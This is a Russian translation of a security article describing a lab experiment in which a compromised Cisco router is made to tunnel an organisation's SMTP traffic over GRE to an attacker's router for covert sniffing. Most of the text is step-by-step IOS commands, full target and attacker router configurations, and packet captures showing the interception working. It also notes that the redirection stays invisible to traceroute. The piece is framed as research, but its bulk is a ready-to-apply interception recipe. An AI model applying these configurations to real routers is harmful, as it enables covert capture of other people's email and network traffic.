В данной статье описывается подход, методология и результаты проведенного эксперимента по использованию взломанного маршрутизатора как средства для захвата сетевого трафика. Маршрутизаторы находятся вне корпоративной межсетевой защиты и часто очень плохо защищены. В некоторых случаях, взломанный маршрутизатор может использоваться в качестве отправной точки для дальнейшего захвата сети, но наиболее ценным подходом является использование маршрутизатора для сниффинга входящего и исходящего сетевого трафика организации.
Давид Тейлор, перевод Алексей Антипов
1. Введение
В данной статье описывается подход, методология и результаты проведенного эксперимента по использованию взломанного маршрутизатора как средства для захвата сетевого трафика. Маршрутизаторы находятся вне корпоративной межсетевой защиты и часто очень плохо защищены. В некоторых случаях, взломанный маршрутизатор может использоваться в качестве отправной точки для дальнейшего захвата сети, но наиболее ценным подходом является использование маршрутизатора для сниффинга входящего и исходящего сетевого трафика организации.
2. Подход
Выбранный подход заключался в установлении GRE туннеля между захваченным маршрутизатором и маршрутизатором, находящимся под управлением злоумышленника. Маршрутизация настраивалась таким образом, чтобы переадресовывать входящий и исходящий трафик на маршрутизатор злоумышленника через GRE туннель. При этом трафик прежде обрабатывался маршрутизатором злоумышленника, а после возвращался на основной маршрутизатор для заключительной доставки (снова через GRE туннель).
Было проверено два вида сценариев обработки трафика. В первом, захваченный трафик был просто "отражен" маршрутизатором злоумышленника минуя GRE туннель, как показано на рис. 1. Этот метод имел преимущество в простоте конфигурирования маршрутизатора, но имел некоторые недостатки:
- Для захвата трафика необходимо "проснифить" внешний интерфейс маршрутизатора злоумышленника. Это достаточно трудно реализовать в сетях отличных от Ethernet.
- Захваченный сетевой трафик является GRE инкапсулированным. Необходимо было декапсулировать этот трафик прежде, чем произойдет декодирование IP адресов.
Рисунок 1. Сценарий 1.
Во втором сценарии, маршрутизатор злоумышленника конфигурируется для передачи захваченного трафика на рабочую станцию Unix, перед пересылкой на целевой маршрутизатор. Это показано на рисунке 2. В таком сценарии устранены предыдущие недостатки.
- внешние сетевые носители на маршрутизаторе злоумышленника - произвольны
- трафик, переправленный через рабочую станцию Unix уже декапсулирован, что дает меньше времени для извлечения нужной информации.
Рисунок 2. Сценарий 2.
Методология
На представленном ниже рисунке показана топология сети, используемой в нашем эксперименте.
Рисунок 3. Топология сети.
Оборудование
На целевом маршрутизаторе используется оборудование Dual Ethernet Cisco 3600. Маршрутизатор злоумышленника - Ethernet Cisco 2600. Такая топология одинаково применима к любому Cisco IOS маршрутизатору. Это также применимо к любым маршрутизаторам, использующим GRE и политику маршрутизации.
Почтовый сервер является Linux станцией. Сетевой сниффер - рабочей станцией Solaris. Выбор данного оборудования был полностью произволен.
Установление GRE туннеля
Первым шагом, после IP конфигурирования маршрутизатора, является установление GRE туннеля между целевым маршрутизатором и маршрутизатором злоумышленника. При реальном выполнении данной методики, для начала целевой маршрутизатор должен быть взломан, чтобы быть сконфигурированным удаленно. Но описание методов дискредитации устройств выходят за рамки данной статьи.
На целевом маршрутизаторе:
Target#conf t Target(config)#int tunnel0 Target(config-if)#ip address 192.168.5.1 255.255.255.0 Target(config-if)#tunnel source eth0/1 Target(config-if)#tunnel dest 192.168.1.2 Target(config-if)#tunnel mode gre ip Target(config-if)#exit Target(config)#exit Target#
Итак, мы создали туннельный интерфейс (называемый tunnel0). Ему задан локальный (виртуальный) IP адрес 192.168.5.1. Внешний Ethernet интерфейс определен как локальная конечная точка туннеля, а маршрутизатор злоумышленника определен как удаленная конечная точка туннеля.
Эквивалентные команды введены на маршрутизаторе злоумышленника.
На маршрутизаторе злоумышленника:
Attacker#conf t Attacker(config)#int tunnel0 Attacker(config-if)#ip address 192.168.5.2 255.255.255.0 Attacker(config-if)#tunnel source eth0/1 Attacker(config-if)#tunnel dest 192.168.1.1 Attacker(config-if)#tunnel mode gre ip Attacker(config-if)#exit Attacker(config)#exit Attacker#
После всех вышеописанных операций мы установили GRE туннель между двумя маршрутизаторами. Независимо от того, сколько существует "прыжков" между маршрутизаторами по Интернет, GRE туннель будет рассматриваться как один единственный "прыжок".
Сценарий 1. Политика маршрутизации.
Для сценария 1 (см. рис. 1), мы устанавливаем политику маршрутизации на интерфейсе tunnel0 маршрутизатора злоумышленника таким образом, "отражать" трафик, прибывающий в GRE туннель.
На маршрутизаторе злоумышленника:
Attacker#conf t Attacker(config)#access-list 100 permit ip any any Attacker(config)#route-map reflect Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.5.1 Attacker(config-route-map)#exit Attacker(config)#int tunnel0 Attacker(config-if)#ip policy route-map reflect Attacker(config-if)#exit Attacker(config)#exit Attacker#
Список доступа 100 соответствует всему IP трафику. Карта маршрута выбирает весь трафик, соответствующий списку доступа 100(весь трафик) и отсылает его на IP адрес 192.168.5.1, являющийся конечной точкой GRE туннеля целевого маршрутизатора. Эта карта маршрута применена к интерфейсу tunnel0.
Сценарий 1. Настройка рабочей станции Unix
В сценарии 1, рабочая станция Unix хакера была помещена вне внешнего интерфейса его маршрутизатора. В данном случае конфигурация рабочей станции Unix произвольна, поскольку она должна только пассивно захватывать сетевой трафик.
Сценарий 2. Политика маршрутизации
Во втором сценарии, мы настраиваем политику маршрутизации на туннельном интерфейсе маршрутизатора злоумышленника и на внутреннем Ethernet интерфейсе, чтобы "отражать" трафик, прибывающего из GRE туннеля через рабочую станцию Unix, на внутренний Ethernet интерфейс.
На маршрутизаторе злоумышленника:
Attacker#conf t Attacker(config)#access-list 100 permit ip any any Attacker(config)#route-map send-traffic-in Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.3.2 Attacker(config-route-map)#exit Attacker(config)#int tunnel0 Attacker(config-if)#ip policy route-map send-traffic-in Attacker(config-if)#exit Attacker(config)#route-map send-traffic-out Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.5.1 Attacker(config-route-map)#exit Attacker(config)#int eth0/0 Attacker(config-if)#ip policy route-map send-traffic-out Attacker(config-if)#exit Attacker(config)#exit Attacker#
Карта маршрута пересылки входящего трафика установлена на интерфейсе tunnel0. C помощью этого происходит пересылка всего трафика, прибывающего через туннель, на первичный Ethernet адрес рабочей станции Unix (192.168.3.2). Рабочая станция отсылает этот трафик назад на маршрутизатор злоумышленника (192.168.4.1), используя стандартный маршрут.
Карта маршрута пересылки исходящего трафика установлена на внутреннем Ethernet интерфейсе маршрутизатора злоумышленника. C помощью этого происходит пересылка всего трафика из рабочей станции Unix на целевой маршрутизатор, минуя GRE туннель.
Сценарий 2. Настройка рабочей станции Unix.
Во втором сценарии, рабочая станция настроена следующим образом:
Первичный IP адрес: 192.168.3.2
Вторичный IP адрес: 192.168.4.2
Данный вторичный IP адрес является виртуальным на всех физических сетевых интерфейсах.
Стандартный маршрут: 192.168.4.1
Определение трафика для захвата
Теперь, необходимо определить списки доступа для трафика, который необходимо захватить на целевом маршрутизаторе.
На целевом маршрутизаторе:
Target#conf t Target(config)#access-list 101 permit tcp any any eq 25 Target(config)#access-list 101 permit tcp any eq 25 any Target(config)#exit Target#
Данный список доступа соответствует всему SMTP (25/tcp) трафику. Теперь необходимо определить правила для согласования входящих и исходящих пакетов, поскольку этот список доступа будет использоваться в картах маршрута для обоих интерфейсов целевого маршрутизатора.
Политика маршрутизации на целевом маршрутизаторе.
Наконец, мы должны установить политику маршрутизации на целевом маршрутизаторе, для пересылки интересующего нас трафика через GRE туннель.
На целевом маршрутизаторе:
Target#conf t Target(config)#route-map capture-traffic Target(config-route-map)#match ip address 101 Target(config-route-map)#set ip next-hop 192.168.5.2 Target(config-route-map)#exit Target(config)#int eth0 Target(config-if)#ip policy route-map capture-traffic Target(config-if)#exit Target(config)#int eth1 Target(config-if)#ip policy route-map capture-traffic Target(config-if)#exit Target(config)#exit Target#
Карта маршрута определена так, что трафик соответствует списку доступа 101 (весь SMTP трафик) и пересылается целевой маршрутизатор через GRE туннель. Эта карта применена к внутреннему и внешнему интерфейсам маршрутизатора.
На этот момент весь входящий и исходящий трафики, проходящие через маршрутизатор, будут переадресованы на маршрутизатор злоумышленника через GRE туннель. Трафик, прибывающий из захваченного маршрутизатора через GRE туннель (отраженный трафик) доставляется согласно стандартного маршрута.
Окончательные конфигурации целевого маршрутизатора могут быть найдены в Приложении А. А конфигурации маршрутизатора злоумышленника для сценариев 1 и 2 находятся в Приложении В и С соответственно.
Результаты
В обоих сценариях SMTP соединения были перенаправлены через GRE туннель и успешно захвачены рабочей станцией Unix.
Сценарий 1.
Ниже показан перехват создания сеанса SMTP соединения для первого сценария:
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
Пакет 1: показывается TCP SYN пакет от клиента к почтовому серверу.
Пакеты 2 и 3: показываются SYN пакет, посылаемый от целевого маршрутизатора к маршрутизатору злоумышленника и обратно.
После пакета 3: SYN пакет пересылается почтовому серверу (не показано). Почтовый сервер генерирует ответ с SYN/ACK пакетом (не показано)
Пакеты 4 и 5: показывается SYN/ACK пакет пересекающий GRE туннель.
Пакет 6: показывается SYN/ACK пакет, возвращаемый почтовому клиенту.
Пакет 7: показывается ACK пакет (финальный пакет при установлении связи) отсылаемый клиентом на почтовый сервер.
Пакеты 8 и 9: показывается этот ACK пакет, пересекающий GRE туннель.
После пакета 9: ACK пакет доставляется на почтовый сервер и устанавливается сеанс связи.
Более полная расшифровка этого захвата, вместе с протоколом для пакета 2 находится в Приложении D.
Сценарий 2.
Ниже показан перехват создания сеанса SMTP соединения для второго сценария:
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
Пакет 1 и 2: показывается TCP SYN пакет, посылаемый клиентом на почтовый сервер.
Пакеты 3 и 4: показан SYN/ACK пакет, посылаемый почтовым сервером клиенту.
Пакеты 5 и 6: показан ACK пакет от клиента к почтовому серверу.
Более полная расшифровка этого захватами находится в Приложении D.
Выводы и обсуждение
"Прозрачность"
Этот метод перехвата практически полностью не заметен конечному пользователю системы. Стандартные утилиты трассировки маршрутов не будут показывать дополнительные "скачки", созданные GRE переадресацией.
Хотя, конечно, экспертиза конфигурации целевого маршрутизатора легко бы это раскрыла.
Времени задержки
Процесс переадресации трафика через маршрутизатор злоумышленника увеличивает время ожидании на захваченном трафике. Увеличение времени ожидания можно задать формулой:
2n + м.
Где n - время, требуемое для движения трафика через Интернет от целевого маршрутизатора к маршрутизатору злоумышленника, а m - задержка, возникающая при обработке этого трафика маршрутизатором злоумышленника (и рабочей станцией Unix).
Значение m находится в пределах 10ms (при лабораторных условиях). См. Приложение F.
Значение n, вероятно, будет большим.
Дальнейшее декодирование трафика
Извлечение полезной информации из захваченного трафика мы оставим как упражнение для читателей. Для этого могут быть полезны различные Unix процедуры типа strings или od.
Приложение А. Конфигурация целевого маршрутизатора.
! version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Target ! no logging console ! ip subnet-zero ! interface Tunnel0 ip address 192.168.5.1 255.255.255.0 tunnel source Ethernet0/1 tunnel destination 192.168.1.2 ! interface Ethernet0/0 ip address 192.168.2.1 255.255.255.0 ip policy route-map capture-traffic half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip policy route-map capture-traffic half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 101 permit tcp any any eq smtp access-list 101 permit tcp any eq smtp any no cdp run route-map capture-traffic permit 10 match ip address 101 set ip next-hop 192.168.5.2 ! line con 0 line aux 0 line vty 0 4 privilege level 15 login ! end
Приложение B. Конфигурация маршрутизатора злоумышленника. Сценарий 1.
! version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Attacker ! logging buffered 4096 debugging no logging console enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 ! memory-size iomem 10 ip subnet-zero ! interface Tunnel0 ip address 192.168.5.2 255.255.255.0 ip policy route-map reflect tunnel source Ethernet0/1 tunnel destination 192.168.1.1 ! interface Ethernet0/0 ip address 192.168.3.1 255.255.255.0 half-duplex ! interface Ethernet0/1 ip address 192.168.1.2 255.255.255.0 half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 100 permit ip any any no cdp run route-map reflect permit 10 match ip address 100 set ip next-hop 192.168.5.1 ! line con 0 line aux 0 line vty 0 4 privilege level 15 no login ! end
Приложение С. Конфигурация маршрутизатора злоумышленника. Сценарий 2.
version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Attacker ! logging buffered 4096 debugging no logging console enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 ! memory-size iomem 10 ip subnet-zero ! interface Tunnel0 ip address 192.168.5.2 255.255.255.0 ip policy route-map send-traffic-in tunnel source Ethernet0/1 tunnel destination 192.168.1.1 ! interface Ethernet0/0 ip address 192.168.4.1 255.255.255.0 secondary ip address 192.168.3.1 255.255.255.0 ip policy route-map send-traffic-out half-duplex ! interface Ethernet0/1 ip address 192.168.1.2 255.255.255.0 half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 100 permit ip any any no cdp run route-map send-traffic-out permit 10 match ip address 100 set ip next-hop 192.168.5.1 ! route-map send-traffic-in permit 10 match ip address 100 set ip next-hop 192.168.3.2 ! line con 0 line aux 0 line vty 0 4 privilege level 15 no login ! end
Приложение D. Захват трафика. Сценарий 1.
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 10 40.09693 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826 11 0.00142 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800 12 0.00063 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 220 localhost.locald 13 0.13864 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 14 0.00185 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827 15 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801 82 2.18601 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 q 83 0.00211 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850 84 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824 85 0.03858 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851 86 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825 87 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 88 0.18110 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 u 89 0.00186 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852 90 0.00136 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826 91 0.00271 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853 92 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827 93 0.00059 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 94 0.05429 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 i 95 0.00191 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854 96 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828 97 0.00269 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855 98 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829 99 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 100 0.16402 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 t 101 0.00207 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856 102 0.00139 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830 103 0.00270 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857 104 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831 105 0.00052 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 106 0.22869 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 107 0.00197 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858 108 0.00137 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832 109 0.00304 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859 110 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833 111 0.00012 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860 112 0.00055 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 113 0.00093 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834 114 0.00058 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 221 2.0.0 localhost. 115 0.00067 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861 116 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835 117 0.00049 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 118 0.00025 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 119 0.00044 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 120 0.00172 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862 121 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836 122 0.00007 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863 123 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837 124 0.00255 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864 125 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838 126 0.00054 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
Ниже показано декодирование GRE пакетов.
ETHER: IP: ----- IP Header ----- IP: IP: Version = 4 IP: Header length = 20 bytes IP: Type of service = 0x00 IP: xxx. .... = 0 (precedence) IP: ...0 .... = normal delay IP: .... 0... = normal throughput IP: .... .0.. = normal reliability IP: Total length = 72 bytes IP: Identification = 823 IP: Flags = 0x0 IP: .0.. .... = may fragment IP: ..0. .... = last fragment IP: Fragment offset = 0 bytes IP: Time to live = 255 seconds/hops IP: Protocol = 47 () IP: Header checksum = 34fc IP: Source address = 192.168.1.1, 192.168.1.1 IP: Destination address = 192.168.1.2, 192.168.1.2 IP: No options IP:
Шестнадцатеричное декодирование тех же пакетов:
0000000 736e 6f6f 7000 0000 0000 0002 0000 0004 0000020 0000 0056 0000 0056 0000 0070 0000 0000 0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0 0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f 0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500 0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8 0000140 0202 0651 0019 99d0 26a4 0000 0000 7002 0000160 4000 f86a 0000 0204 0534 0101 0402 0000
Приложение E. Захват трафика. Сценарий 2.
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 7 40.09285 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald 8 0.00016 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald 9 0.16606 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 10 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 59 1.62586 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q 60 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q 61 0.04199 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 62 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 63 0.14919 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u 64 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u 65 0.00574 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 66 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 67 0.08556 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i 68 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i 69 0.00570 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 70 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 71 0.12386 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t 72 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t 73 0.00577 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 74 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 75 0.80846 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 76 0.00011 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 77 0.00613 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 78 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 79 0.00216 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. 80 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. 81 0.00220 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 82 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 83 0.00670 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 84 0.00008 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 85 0.00169 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 86 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 87 0.00645 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 88 0.00008 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
Приложение F. Оценка увеличения времени ожидания.
Без переадресации\захвата:
C:\>ping 192.168.2.2 Pinging 192.168.2.2 with 32 bytes of data: Reply from 192.168.2.2: bytes=32 time=10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 10ms, Average = 2ms C:\>ping -l 1000 192.168.2.2 Pinging 192.168.2.2 with 1000 bytes of data: Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms C:\>
С переадресацией \ захватом:
C:\>ping 192.168.2.2 Pinging 192.168.2.2 with 32 bytes of data: Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 10ms, Maximum = 10ms, Average = 10ms C:\>ping -l 1000 192.168.2.2 Pinging 192.168.2.2 with 1000 bytes of data: Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 20ms, Maximum = 31ms, Average = 22ms C:\>
И мы тоже не спим, чтобы держать вас в курсе всех угроз